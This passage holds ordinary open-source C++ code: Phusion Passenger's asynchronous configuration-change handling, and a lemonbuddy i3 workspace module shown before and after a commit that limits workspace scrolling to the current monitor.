B.V.\n *\n *  \"Passenger\", \"Phusion Passenger\" and \"Union Station\" are registered\n *  trademarks of Phusion Holding B.V.\n *\n *  Permission is hereby granted, free of charge, to any person obtaining a copy\n *  of this software and associated documentation files (the \"Software\"), to deal\n *  in the Software without restriction, including without limitation the rights\n *  to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n *  copies of the Software, and to permit persons to whom the Software is\n *  furnished to do so, subject to the following conditions:\n *\n *  The above copyright notice and this permission notice shall be included in\n *  all copies or substantial portions of the Software.\n *\n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n *  THE SOFTWARE.\n *\/\n\n#include <boost\/thread.hpp>\n#include <boost\/scoped_ptr.hpp>\n#include <vector>\n#include <cassert>\n\n#include <LoggingKit\/LoggingKit.h>\n#include <Core\/ConfigChange.h>\n#include <Core\/Config.h>\n\nnamespace Passenger {\nnamespace Core {\n\nusing namespace std;\n\n\nstruct ConfigChangeRequest {\n\tJson::Value updates;\n\tPrepareConfigChangeCallback prepareCallback;\n\tCommitConfigChangeCallback commitCallback;\n\tunsigned int counter;\n\tvector<ConfigKit::Error> errors;\n\n\tboost::scoped_ptr<ConfigKit::Store> config;\n\tLoggingKit::ConfigChangeRequest forLoggingKit;\n\tSecurityUpdateChecker::ConfigChangeRequest forSecurityUpdateChecker;\n\tvector<ServerKit::ConfigChangeRequest *> forControllerServerKit;\n\tvector<Controller::ConfigChangeRequest *> forController;\n\tServerKit::ConfigChangeRequest forApiServerKit;\n\tApiServer::ConfigChangeRequest forApiServer;\n\tAdminPanelConnector::ConfigChangeRequest forAdminPanelConnector;\n\n\tConfigChangeRequest()\n\t\t: counter(0)\n\t\t{ }\n\n\t~ConfigChangeRequest() {\n\t\t{\n\t\t\tvector<ServerKit::ConfigChangeRequest *>::iterator it;\n\t\t\tfor (it = forControllerServerKit.begin(); it != forControllerServerKit.end(); it++) {\n\t\t\t\tdelete *it;\n\t\t\t}\n\t\t}\n\t\t{\n\t\t\tvector<Controller::ConfigChangeRequest *>::iterator it;\n\t\t\tfor (it = forController.begin(); it != forController.end(); it++) {\n\t\t\t\tdelete *it;\n\t\t\t}\n\t\t}\n\t}\n};\n\n\n\/**************** Functions: prepare config change ****************\/\n\n\nstatic void\nasyncPrepareConfigChangeCompletedOne(ConfigChangeRequest *req) {\n\tassert(req->counter > 0);\n\treq->counter--;\n\tif (req->counter == 0) {\n\t\treq->errors = ConfigKit::deduplicateErrors(req->errors);\n\t\tif (req->errors.empty()) {\n\t\t\tP_INFO(\"Changing configuration: \" << req->updates.toStyledString());\n\t\t} else {\n\t\t\tP_ERROR(\"Error changing configuration: \" << ConfigKit::toString(req->errors)\n\t\t\t\t<< \"\\nThe proposed configuration was: \" << req->updates.toStyledString());\n\t\t}\n\t\toxt::thread(boost::bind(req->prepareCallback, req->errors, req),\n\t\t\t\"Core config callback thread\",\n\t\t\t128 * 1024);\n\t}\n}\n\nstatic void\nasyncPrepareConfigChangeForController(unsigned int i, const Json::Value &updates, ConfigChangeRequest *req) {\n\tThreadWorkingObjects *two = &workingObjects->threadWorkingObjects[i];\n\tvector<ConfigKit::Error> errors1, errors2;\n\n\treq->forControllerServerKit[i] = new ServerKit::ConfigChangeRequest();\n\tConfigKit::prepareConfigChangeForSubComponent(\n\t\t*two->serverKitContext, coreSchema->controllerServerKit.translator,\n\t\treq->config->inspectEffectiveValues(),\n\t\terrors1, *req->forControllerServerKit[i]);\n\n\treq->forController[i] = new Controller::ConfigChangeRequest();\n\tConfigKit::prepareConfigChangeForSubComponent(\n\t\t*two->controller, coreSchema->controller.translator,\n\t\treq->config->inspectEffectiveValues(),\n\t\terrors2, *req->forController[i]);\n\n\tboost::lock_guard<boost::mutex> l(workingObjects->configSyncher);\n\tP_DEBUG(\"asyncPrepareConfigChangeForController(\" << i << \"): counter \"\n\t\t<< req->counter << \" -> \" << (req->counter - 1));\n\treq->errors.insert(req->errors.begin(), errors1.begin(), errors1.end());\n\treq->errors.insert(req->errors.begin(), errors2.begin(), errors2.end());\n\tasyncPrepareConfigChangeCompletedOne(req);\n}\n\nstatic void\nasyncPrepareConfigChangeForApiServer(const Json::Value &updates, ConfigChangeRequest *req) {\n\tvector<ConfigKit::Error> errors1, errors2;\n\n\tConfigKit::prepareConfigChangeForSubComponent(\n\t\t*workingObjects->apiWorkingObjects.serverKitContext,\n\t\tcoreSchema->apiServerKit.translator,\n\t\treq->config->inspectEffectiveValues(),\n\t\terrors1, req->forApiServerKit);\n\tConfigKit::prepareConfigChangeForSubComponent(\n\t\t*workingObjects->apiWorkingObjects.apiServer,\n\t\tcoreSchema->apiServer.translator,\n\t\treq->config->inspectEffectiveValues(),\n\t\terrors2, req->forApiServer);\n\n\tboost::lock_guard<boost::mutex> l(workingObjects->configSyncher);\n\tP_DEBUG(\"asyncPrepareConfigChangeForApiServer: counter \"\n\t\t<< req->counter << \" -> \" << (req->counter - 1));\n\treq->errors.insert(req->errors.begin(), errors1.begin(), errors1.end());\n\treq->errors.insert(req->errors.begin(), errors2.begin(), errors2.end());\n\tasyncPrepareConfigChangeCompletedOne(req);\n}\n\nstatic void\nasyncPrepareConfigChangeForAdminPanelConnectorDone(const vector<ConfigKit::Error> &errors,\n\tAdminPanelConnector::ConfigChangeRequest &_, ConfigChangeRequest *req)\n{\n\tvector<ConfigKit::Error> translatedErrors = coreSchema->adminPanelConnector.translator.reverseTranslate(errors);\n\tboost::lock_guard<boost::mutex> l(workingObjects->configSyncher);\n\tP_DEBUG(\"asyncPrepareConfigChangeForAdminPanelConnectorDone: counter \"\n\t\t<< req->counter << \" -> \" << (req->counter - 1));\n\treq->errors.insert(req->errors.begin(), translatedErrors.begin(), translatedErrors.end());\n\tasyncPrepareConfigChangeCompletedOne(req);\n}\n\n\/\/\n\/\/\n\nvoid\nasyncPrepareConfigChange(const Json::Value &updates, ConfigChangeRequest *req,\n\tconst PrepareConfigChangeCallback &callback)\n{\n\tP_DEBUG(\"Preparing configuration change: \" << updates.toStyledString());\n\tWorkingObjects *wo = workingObjects;\n\tboost::lock_guard<boost::mutex> l(workingObjects->configSyncher);\n\n\treq->updates = updates;\n\treq->prepareCallback = callback;\n\treq->counter++;\n\n\treq->config.reset(new ConfigKit::Store(*coreConfig, updates, req->errors));\n\tif (!req->errors.empty()) {\n\t\tasyncPrepareConfigChangeCompletedOne(req);\n\t\treturn;\n\t}\n\n\tConfigKit::prepareConfigChangeForSubComponent(\n\t\t*LoggingKit::context, coreSchema->loggingKit.translator,\n\t\treq->config->inspectEffectiveValues(),\n\t\treq->errors, req->forLoggingKit);\n\tConfigKit::prepareConfigChangeForSubComponent(\n\t\t*workingObjects->securityUpdateChecker,\n\t\tcoreSchema->securityUpdateChecker.translator,\n\t\treq->config->inspectEffectiveValues(),\n\t\treq->errors, req->forSecurityUpdateChecker);\n\n\treq->forControllerServerKit.resize(wo->threadWorkingObjects.size(), NULL);\n\treq->forController.resize(wo->threadWorkingObjects.size(), NULL);\n\tfor (unsigned int i = 0; i < wo->threadWorkingObjects.size(); i++) {\n\t\tThreadWorkingObjects *two = &wo->threadWorkingObjects[i];\n\t\treq->counter++;\n\t\ttwo->bgloop->safe->runLater(boost::bind(asyncPrepareConfigChangeForController,\n\t\t\ti, updates, req));\n\t}\n\n\tif (wo->apiWorkingObjects.apiServer != NULL) {\n\t\treq->counter++;\n\t\two->apiWorkingObjects.bgloop->safe->runLater(boost::bind(\n\t\t\tasyncPrepareConfigChangeForApiServer, updates, req));\n\t}\n\n\tif (wo->adminPanelConnector != NULL) {\n\t\treq->counter++;\n\t\two->adminPanelConnector->asyncPrepareConfigChange(\n\t\t\tcoreSchema->adminPanelConnector.translator.translate(updates),\n\t\t\treq->forAdminPanelConnector,\n\t\t\tboost::bind(asyncPrepareConfigChangeForAdminPanelConnectorDone,\n\t\t\t\tboost::placeholders::_1, boost::placeholders::_2, req));\n\t}\n\n\t\/***************\/\n\t\/***************\/\n\n\tasyncPrepareConfigChangeCompletedOne(req);\n}\n\n\n\/**************** Functions: commit config change ****************\/\n\n\nstatic void\nasyncCommitConfigChangeCompletedOne(ConfigChangeRequest *req) {\n\tassert(req->counter > 0);\n\treq->counter--;\n\tif (req->counter == 0) {\n\t\toxt::thread(boost::bind(req->commitCallback, req),\n\t\t\t\"Core config callback thread\",\n\t\t\t128 * 1024);\n\t}\n}\n\nstatic void\nasyncCommitConfigChangeForController(unsigned int i, ConfigChangeRequest *req) {\n\tThreadWorkingObjects *two = &workingObjects->threadWorkingObjects[i];\n\n\ttwo->serverKitContext->commitConfigChange(*req->forControllerServerKit[i]);\n\ttwo->controller->commitConfigChange(*req->forController[i]);\n\n\tboost::lock_guard<boost::mutex> l(workingObjects->configSyncher);\n\tP_DEBUG(\"asyncCommitConfigChangeForController(\" << i << \"): counter \"\n\t\t<< req->counter << \" -> \" << (req->counter - 1));\n\tasyncCommitConfigChangeCompletedOne(req);\n}\n\nstatic void\nasyncCommitConfigChangeForApiServer(ConfigChangeRequest *req) {\n\tApiWorkingObjects *awo = &workingObjects->apiWorkingObjects;\n\n\tawo->serverKitContext->commitConfigChange(req->forApiServerKit);\n\tawo->apiServer->commitConfigChange(req->forApiServer);\n\n\tboost::lock_guard<boost::mutex> l(workingObjects->configSyncher);\n\tP_DEBUG(\"asyncCommitConfigChangeForApiServer: counter \"\n\t\t<< req->counter << \" -> \" << (req->counter - 1));\n\tasyncCommitConfigChangeCompletedOne(req);\n}\n\nstatic void\nasyncCommitConfigChangeForAdminPanelConnectorDone(AdminPanelConnector::ConfigChangeRequest &_,\n\tConfigChangeRequest *req)\n{\n\tboost::lock_guard<boost::mutex> l(workingObjects->configSyncher);\n\tP_DEBUG(\"asyncCommitConfigChangeForAdminPanelConnectorDone: counter \"\n\t\t<< req->counter << \" -> \" << (req->counter - 1));\n\tasyncCommitConfigChangeCompletedOne(req);\n}\n\n\/\/\n\/\/\n\nvoid\nasyncCommitConfigChange(ConfigChangeRequest *req, const CommitConfigChangeCallback &callback)\n\tBOOST_NOEXCEPT_OR_NOTHROW\n{\n\tWorkingObjects *wo = workingObjects;\n\tboost::lock_guard<boost::mutex> l(workingObjects->configSyncher);\n\n\treq->commitCallback = callback;\n\treq->counter++;\n\n\tcoreConfig->swap(*req->config);\n\tLoggingKit::context->commitConfigChange(req->forLoggingKit);\n\tworkingObjects->securityUpdateChecker->commitConfigChange(\n\t\treq->forSecurityUpdateChecker);\n\n\two->appPool->setMax(coreConfig->get(\"max_pool_size\").asInt());\n\two->appPool->setMaxIdleTime(coreConfig->get(\"pool_idle_time\").asInt() * 1000000ULL);\n\two->appPool->enableSelfChecking(coreConfig->get(\"pool_selfchecks\").asBool());\n\n\tfor (unsigned int i = 0; i < wo->threadWorkingObjects.size(); i++) {\n\t\tThreadWorkingObjects *two = &wo->threadWorkingObjects[i];\n\t\treq->counter++;\n\t\ttwo->bgloop->safe->runLater(boost::bind(asyncCommitConfigChangeForController,\n\t\t\ti, req));\n\t}\n\n\tif (wo->apiWorkingObjects.apiServer != NULL) {\n\t\treq->counter++;\n\t\two->apiWorkingObjects.bgloop->safe->runLater(boost::bind(\n\t\t\tasyncCommitConfigChangeForApiServer, req));\n\t}\n\n\tif (wo->adminPanelConnector != NULL) {\n\t\treq->counter++;\n\t\two->adminPanelConnector->asyncCommitConfigChange(\n\t\t\treq->forAdminPanelConnector,\n\t\t\tboost::bind(asyncCommitConfigChangeForAdminPanelConnectorDone,\n\t\t\t\tboost::placeholders::_1, req));\n\t}\n\n\t\/***************\/\n\t\/***************\/\n\n\tasyncCommitConfigChangeCompletedOne(req);\n}\n\n\n\/**************** Functions: miscellaneous ****************\/\n\n\ninline ConfigChangeRequest *\ncreateConfigChangeRequest() {\n\treturn new ConfigChangeRequest();\n}\n\ninline void\nfreeConfigChangeRequest(ConfigChangeRequest *req) {\n\tdelete req;\n}\n\nJson::Value\ninspectConfig() {\n\tboost::lock_guard<boost::mutex> l(workingObjects->configSyncher);\n\treturn coreConfig->inspect();\n}\n\n\n} \/\/ namespace Core\n} \/\/ namespace Passenger\n<|endoftext|>"}
{"text":"<commit_before>#pragma once\n\n#include <i3ipc++\/ipc.hpp>\n\n#include \"config.hpp\"\n#include \"components\/config.hpp\"\n#include \"drawtypes\/iconset.hpp\"\n#include \"drawtypes\/label.hpp\"\n#include \"modules\/meta.hpp\"\n#include \"utils\/i3.hpp\"\n#include \"utils\/io.hpp\"\n\nLEMONBUDDY_NS\n\nnamespace modules {\n  \/\/ meta types {{{\n\n  enum class i3_flag {\n    WORKSPACE_NONE,\n    WORKSPACE_FOCUSED,\n    WORKSPACE_UNFOCUSED,\n    WORKSPACE_VISIBLE,\n    WORKSPACE_URGENT,\n  };\n\n  struct i3_workspace {\n    int index;\n    i3_flag flag;\n    label_t label;\n\n    i3_workspace(int index_, i3_flag flag_, label_t&& label_)\n        : index(index_), flag(flag_), label(forward<decltype(label_)>(label_)) {}\n\n    operator bool() {\n      return label && *label;\n    }\n  };\n\n  using i3_workspace_t = unique_ptr<i3_workspace>;\n\n  \/\/ }}}\n\n  class i3_module : public event_module<i3_module> {\n   public:\n    using event_module::event_module;\n\n    ~i3_module() {\n      \/\/ Shutdown ipc connection {{{\n\n      try {\n        shutdown(m_ipc.get_event_socket_fd(), SHUT_RD);\n        shutdown(m_ipc.get_main_socket_fd(), SHUT_RD);\n      } catch (const std::exception& err) {\n      }\n\n      \/\/ }}}\n    }\n\n    void setup() {\n      \/\/ Load configuration values {{{\n\n      GET_CONFIG_VALUE(name(), m_indexsort, \"index-sort\");\n      GET_CONFIG_VALUE(name(), m_pinworkspaces, \"pin-workspaces\");\n      GET_CONFIG_VALUE(name(), m_strip_wsnumbers, \"strip-wsnumbers\");\n      GET_CONFIG_VALUE(name(), m_wsname_maxlen, \"wsname-maxlen\");\n\n      \/\/ }}}\n      \/\/ Add formats and create components {{{\n\n      m_formatter->add(DEFAULT_FORMAT, TAG_LABEL_STATE, {TAG_LABEL_STATE});\n\n      if (m_formatter->has(TAG_LABEL_STATE)) {\n        m_statelabels.insert(make_pair(i3_flag::WORKSPACE_FOCUSED,\n            get_optional_config_label(m_conf, name(), \"label-focused\", DEFAULT_WS_LABEL)));\n        m_statelabels.insert(make_pair(i3_flag::WORKSPACE_UNFOCUSED,\n            get_optional_config_label(m_conf, name(), \"label-unfocused\", DEFAULT_WS_LABEL)));\n        m_statelabels.insert(make_pair(i3_flag::WORKSPACE_VISIBLE,\n            get_optional_config_label(m_conf, name(), \"label-visible\", DEFAULT_WS_LABEL)));\n        m_statelabels.insert(make_pair(i3_flag::WORKSPACE_URGENT,\n            get_optional_config_label(m_conf, name(), \"label-urgent\", DEFAULT_WS_LABEL)));\n      }\n\n      m_icons = iconset_t{new iconset()};\n      m_icons->add(\n          DEFAULT_WS_ICON, icon_t{new icon(m_conf.get<string>(name(), DEFAULT_WS_ICON, \"\"))});\n\n      \/\/ }}}\n      \/\/ Add formats and create components {{{\n\n      for (auto workspace : m_conf.get_list<string>(name(), \"ws-icon\", {})) {\n        auto vec = string_util::split(workspace, ';');\n        if (vec.size() == 2)\n          m_icons->add(vec[0], icon_t{new icon{vec[1]}});\n      }\n\n      \/\/ }}}\n      \/\/ Subscribe to ipc events {{{\n\n      try {\n        m_ipc.subscribe(i3ipc::ET_WORKSPACE);\n        m_ipc.prepare_to_event_handling();\n      } catch (std::runtime_error& e) {\n        throw module_error(e.what());\n      }\n\n      \/\/ }}}\n    }\n\n    bool has_event() {\n      \/\/ Wait for ipc events {{{\n\n      try {\n        m_ipc.handle_event();\n        return true;\n      } catch (const std::exception& err) {\n        m_log.err(\"%s: Error while handling ipc event, stopping module...\", name());\n        m_log.err(\"%s: %s\", name(), err.what());\n        stop();\n        return false;\n      }\n\n      \/\/ }}}\n    }\n\n    bool update() {\n      \/\/ Refresh workspace data {{{\n\n      m_workspaces.clear();\n      i3_util::connection_t ipc;\n\n      try {\n        auto workspaces = ipc.get_workspaces();\n        vector<shared_ptr<i3ipc::workspace_t>> sorted = workspaces;\n        string focused_output;\n\n        for (auto&& workspace : workspaces)\n          if (workspace->focused) {\n            focused_output = workspace->output;\n            break;\n          }\n\n        if (m_indexsort) {\n          using ws_t = shared_ptr<i3ipc::workspace_t>;\n          \/\/ clang-format off\n          sort(sorted.begin(), sorted.end(), [](ws_t ws1, ws_t ws2){\n              return ws1->num < ws2->num;\n          });\n          \/\/ clang-format on\n        }\n\n        for (auto&& workspace : sorted) {\n          if (m_pinworkspaces && workspace->output != m_bar.monitor->name)\n            continue;\n\n          auto flag = i3_flag::WORKSPACE_NONE;\n          if (workspace->focused)\n            flag = i3_flag::WORKSPACE_FOCUSED;\n          else if (workspace->urgent)\n            flag = i3_flag::WORKSPACE_URGENT;\n          else if (!workspace->visible || (workspace->visible && workspace->output != focused_output))\n            flag = i3_flag::WORKSPACE_UNFOCUSED;\n          else\n            flag = i3_flag::WORKSPACE_VISIBLE;\n\n          string wsname{workspace->name};\n\n          if (m_strip_wsnumbers) {\n            auto index = string_util::split(wsname, ':');\n\n            if (index.size() == 2) {\n              wsname = index[1];\n            }\n          }\n\n          if (m_wsname_maxlen > 0 && wsname.length() > m_wsname_maxlen)\n            wsname.erase(m_wsname_maxlen);\n\n          auto icon = m_icons->get(workspace->name, DEFAULT_WS_ICON);\n          auto label = m_statelabels.find(flag)->second->clone();\n\n          label->replace_token(\"%output%\", workspace->output);\n          label->replace_token(\"%name%\", wsname);\n          label->replace_token(\"%icon%\", icon->m_text);\n          label->replace_token(\"%index%\", to_string(workspace->num));\n          m_workspaces.emplace_back(make_unique<i3_workspace>(workspace->num, flag, std::move(label)));\n        }\n\n        return true;\n      } catch (const std::exception& err) {\n        m_log.err(\"%s: %s\", name(), err.what());\n        return false;\n      }\n\n      \/\/ }}}\n    }\n\n    bool build(builder* builder, string tag) {\n      \/\/ Output workspace info {{{\n\n      if (tag != TAG_LABEL_STATE)\n        return false;\n\n      for (auto&& ws : m_workspaces) {\n        builder->cmd(mousebtn::SCROLL_DOWN, EVENT_SCROLL_DOWN);\n        builder->cmd(mousebtn::SCROLL_UP, EVENT_SCROLL_UP);\n        builder->cmd(mousebtn::LEFT, string{EVENT_CLICK} + to_string(ws.get()->index));\n        builder->node(ws.get()->label);\n        builder->cmd_close(true);\n      }\n      return true;\n\n      \/\/ }}}\n    }\n\n    bool handle_event(string cmd) {\n      \/\/ Send ipc commands {{{\n\n      if (cmd.compare(0, 2, EVENT_PREFIX) != 0)\n        return false;\n\n      try {\n        i3_util::connection_t ipc;\n\n        if (cmd.compare(0, strlen(EVENT_CLICK), EVENT_CLICK) == 0) {\n          m_log.info(\"%s: Sending workspace focus command to ipc handler\", name());\n          ipc.send_command(\"workspace number \" + cmd.substr(strlen(EVENT_CLICK)));\n        } else if (cmd.compare(0, strlen(EVENT_SCROLL_DOWN), EVENT_SCROLL_DOWN) == 0) {\n          m_log.info(\"%s: Sending workspace prev command to ipc handler\", name());\n          ipc.send_command(\"workspace next\");\n        } else if (cmd.compare(0, strlen(EVENT_SCROLL_UP), EVENT_SCROLL_UP) == 0) {\n          m_log.info(\"%s: Sending workspace next command to ipc handler\", name());\n          ipc.send_command(\"workspace prev\");\n        }\n      } catch (const std::exception& err) {\n        m_log.err(\"%s: %s\", name(), err.what());\n      }\n\n      return true;\n\n      \/\/ }}}\n    }\n\n    bool receive_events() const {\n      return true;\n    }\n\n   private:\n    static constexpr auto DEFAULT_WS_ICON = \"ws-icon-default\";\n    static constexpr auto DEFAULT_WS_LABEL = \"%icon% %name%\";\n    static constexpr auto TAG_LABEL_STATE = \"<label-state>\";\n\n    static constexpr auto EVENT_PREFIX = \"i3\";\n    static constexpr auto EVENT_CLICK = \"i3-wsfocus-\";\n    static constexpr auto EVENT_SCROLL_UP = \"i3-wsnext\";\n    static constexpr auto EVENT_SCROLL_DOWN = \"i3-wsprev\";\n\n    map<i3_flag, label_t> m_statelabels;\n    vector<i3_workspace_t> m_workspaces;\n    iconset_t m_icons;\n\n    bool m_indexsort = false;\n    bool m_pinworkspaces = false;\n    bool m_strip_wsnumbers = false;\n    size_t m_wsname_maxlen = 0;\n\n    i3_util::connection_t m_ipc;\n  };\n}\n\nLEMONBUDDY_NS_END\n<commit_msg>Scroll through workspaces on same monitor only<commit_after>#pragma once\n\n#include <i3ipc++\/ipc.hpp>\n\n#include \"config.hpp\"\n#include \"components\/config.hpp\"\n#include \"drawtypes\/iconset.hpp\"\n#include \"drawtypes\/label.hpp\"\n#include \"modules\/meta.hpp\"\n#include \"utils\/i3.hpp\"\n#include \"utils\/io.hpp\"\n\nLEMONBUDDY_NS\n\nnamespace modules {\n  \/\/ meta types {{{\n\n  enum class i3_flag {\n    WORKSPACE_NONE,\n    WORKSPACE_FOCUSED,\n    WORKSPACE_UNFOCUSED,\n    WORKSPACE_VISIBLE,\n    WORKSPACE_URGENT,\n  };\n\n  struct i3_workspace {\n    int index;\n    i3_flag flag;\n    label_t label;\n\n    i3_workspace(int index_, i3_flag flag_, label_t&& label_)\n        : index(index_), flag(flag_), label(forward<decltype(label_)>(label_)) {}\n\n    operator bool() {\n      return label && *label;\n    }\n  };\n\n  using i3_workspace_t = unique_ptr<i3_workspace>;\n\n  \/\/ }}}\n\n  class i3_module : public event_module<i3_module> {\n   public:\n    using event_module::event_module;\n\n    ~i3_module() {\n      \/\/ Shutdown ipc connection {{{\n\n      try {\n        shutdown(m_ipc.get_event_socket_fd(), SHUT_RD);\n        shutdown(m_ipc.get_main_socket_fd(), SHUT_RD);\n      } catch (const std::exception& err) {\n      }\n\n      \/\/ }}}\n    }\n\n    void setup() {\n      \/\/ Load configuration values {{{\n\n      GET_CONFIG_VALUE(name(), m_indexsort, \"index-sort\");\n      GET_CONFIG_VALUE(name(), m_pinworkspaces, \"pin-workspaces\");\n      GET_CONFIG_VALUE(name(), m_strip_wsnumbers, \"strip-wsnumbers\");\n      GET_CONFIG_VALUE(name(), m_wsname_maxlen, \"wsname-maxlen\");\n\n      \/\/ }}}\n      \/\/ Add formats and create components {{{\n\n      m_formatter->add(DEFAULT_FORMAT, TAG_LABEL_STATE, {TAG_LABEL_STATE});\n\n      if (m_formatter->has(TAG_LABEL_STATE)) {\n        m_statelabels.insert(make_pair(i3_flag::WORKSPACE_FOCUSED,\n            get_optional_config_label(m_conf, name(), \"label-focused\", DEFAULT_WS_LABEL)));\n        m_statelabels.insert(make_pair(i3_flag::WORKSPACE_UNFOCUSED,\n            get_optional_config_label(m_conf, name(), \"label-unfocused\", DEFAULT_WS_LABEL)));\n        m_statelabels.insert(make_pair(i3_flag::WORKSPACE_VISIBLE,\n            get_optional_config_label(m_conf, name(), \"label-visible\", DEFAULT_WS_LABEL)));\n        m_statelabels.insert(make_pair(i3_flag::WORKSPACE_URGENT,\n            get_optional_config_label(m_conf, name(), \"label-urgent\", DEFAULT_WS_LABEL)));\n      }\n\n      m_icons = iconset_t{new iconset()};\n      m_icons->add(\n          DEFAULT_WS_ICON, icon_t{new icon(m_conf.get<string>(name(), DEFAULT_WS_ICON, \"\"))});\n\n      \/\/ }}}\n      \/\/ Add formats and create components {{{\n\n      for (auto workspace : m_conf.get_list<string>(name(), \"ws-icon\", {})) {\n        auto vec = string_util::split(workspace, ';');\n        if (vec.size() == 2)\n          m_icons->add(vec[0], icon_t{new icon{vec[1]}});\n      }\n\n      \/\/ }}}\n      \/\/ Subscribe to ipc events {{{\n\n      try {\n        m_ipc.subscribe(i3ipc::ET_WORKSPACE);\n        m_ipc.prepare_to_event_handling();\n      } catch (std::runtime_error& e) {\n        throw module_error(e.what());\n      }\n\n      \/\/ }}}\n    }\n\n    bool has_event() {\n      \/\/ Wait for ipc events {{{\n\n      try {\n        m_ipc.handle_event();\n        return true;\n      } catch (const std::exception& err) {\n        m_log.err(\"%s: Error while handling ipc event, stopping module...\", name());\n        m_log.err(\"%s: %s\", name(), err.what());\n        stop();\n        return false;\n      }\n\n      \/\/ }}}\n    }\n\n    bool update() {\n      \/\/ Refresh workspace data {{{\n\n      m_workspaces.clear();\n      i3_util::connection_t ipc;\n\n      try {\n        auto workspaces = ipc.get_workspaces();\n        vector<shared_ptr<i3ipc::workspace_t>> sorted = workspaces;\n        string focused_output;\n\n        for (auto&& workspace : workspaces)\n          if (workspace->focused) {\n            focused_output = workspace->output;\n            break;\n          }\n\n        if (m_indexsort) {\n          using ws_t = shared_ptr<i3ipc::workspace_t>;\n          \/\/ clang-format off\n          sort(sorted.begin(), sorted.end(), [](ws_t ws1, ws_t ws2){\n              return ws1->num < ws2->num;\n          });\n          \/\/ clang-format on\n        }\n\n        for (auto&& workspace : sorted) {\n          if (m_pinworkspaces && workspace->output != m_bar.monitor->name)\n            continue;\n\n          auto flag = i3_flag::WORKSPACE_NONE;\n          if (workspace->focused)\n            flag = i3_flag::WORKSPACE_FOCUSED;\n          else if (workspace->urgent)\n            flag = i3_flag::WORKSPACE_URGENT;\n          else if (!workspace->visible || (workspace->visible && workspace->output != focused_output))\n            flag = i3_flag::WORKSPACE_UNFOCUSED;\n          else\n            flag = i3_flag::WORKSPACE_VISIBLE;\n\n          string wsname{workspace->name};\n\n          if (m_strip_wsnumbers) {\n            auto index = string_util::split(wsname, ':');\n\n            if (index.size() == 2) {\n              wsname = index[1];\n            }\n          }\n\n          if (m_wsname_maxlen > 0 && wsname.length() > m_wsname_maxlen)\n            wsname.erase(m_wsname_maxlen);\n\n          auto icon = m_icons->get(workspace->name, DEFAULT_WS_ICON);\n          auto label = m_statelabels.find(flag)->second->clone();\n\n          label->replace_token(\"%output%\", workspace->output);\n          label->replace_token(\"%name%\", wsname);\n          label->replace_token(\"%icon%\", icon->m_text);\n          label->replace_token(\"%index%\", to_string(workspace->num));\n          m_workspaces.emplace_back(make_unique<i3_workspace>(workspace->num, flag, std::move(label)));\n        }\n\n        return true;\n      } catch (const std::exception& err) {\n        m_log.err(\"%s: %s\", name(), err.what());\n        return false;\n      }\n\n      \/\/ }}}\n    }\n\n    bool build(builder* builder, string tag) {\n      \/\/ Output workspace info {{{\n\n      if (tag != TAG_LABEL_STATE)\n        return false;\n\n      for (auto&& ws : m_workspaces) {\n        builder->cmd(mousebtn::SCROLL_DOWN, EVENT_SCROLL_DOWN);\n        builder->cmd(mousebtn::SCROLL_UP, EVENT_SCROLL_UP);\n        builder->cmd(mousebtn::LEFT, string{EVENT_CLICK} + to_string(ws.get()->index));\n        builder->node(ws.get()->label);\n        builder->cmd_close(true);\n      }\n      return true;\n\n      \/\/ }}}\n    }\n\n    bool handle_event(string cmd) {\n      \/\/ Send ipc commands {{{\n\n      if (cmd.compare(0, 2, EVENT_PREFIX) != 0)\n        return false;\n\n      try {\n        i3_util::connection_t ipc;\n\n        if (cmd.compare(0, strlen(EVENT_CLICK), EVENT_CLICK) == 0) {\n          m_log.info(\"%s: Sending workspace focus command to ipc handler\", name());\n          ipc.send_command(\"workspace number \" + cmd.substr(strlen(EVENT_CLICK)));\n        } else if (cmd.compare(0, strlen(EVENT_SCROLL_DOWN), EVENT_SCROLL_DOWN) == 0) {\n          m_log.info(\"%s: Sending workspace prev command to ipc handler\", name());\n          ipc.send_command(\"workspace next_on_output\");\n        } else if (cmd.compare(0, strlen(EVENT_SCROLL_UP), EVENT_SCROLL_UP) == 0) {\n          m_log.info(\"%s: Sending workspace next command to ipc handler\", name());\n          ipc.send_command(\"workspace prev_on_output\");\n        }\n      } catch (const std::exception& err) {\n        m_log.err(\"%s: %s\", name(), err.what());\n      }\n\n      return true;\n\n      \/\/ }}}\n    }\n\n    bool receive_events() const {\n      return true;\n    }\n\n   private:\n    static constexpr auto DEFAULT_WS_ICON = \"ws-icon-default\";\n    static constexpr auto DEFAULT_WS_LABEL = \"%icon% %name%\";\n    static constexpr auto TAG_LABEL_STATE = \"<label-state>\";\n\n    static constexpr auto EVENT_PREFIX = \"i3\";\n    static constexpr auto EVENT_CLICK = \"i3-wsfocus-\";\n    static constexpr auto EVENT_SCROLL_UP = \"i3-wsnext\";\n    static constexpr auto EVENT_SCROLL_DOWN = \"i3-wsprev\";\n\n    map<i3_flag, label_t> m_statelabels;\n    vector<i3_workspace_t> m_workspaces;\n    iconset_t m_icons;\n\n    bool m_indexsort = false;\n    bool m_pinworkspaces = false;\n    bool m_strip_wsnumbers = false;\n    size_t m_wsname_maxlen = 0;\n\n    i3_util::connection_t m_ipc;\n  };\n}\n\nLEMONBUDDY_NS_END\n<|endoftext|>"}
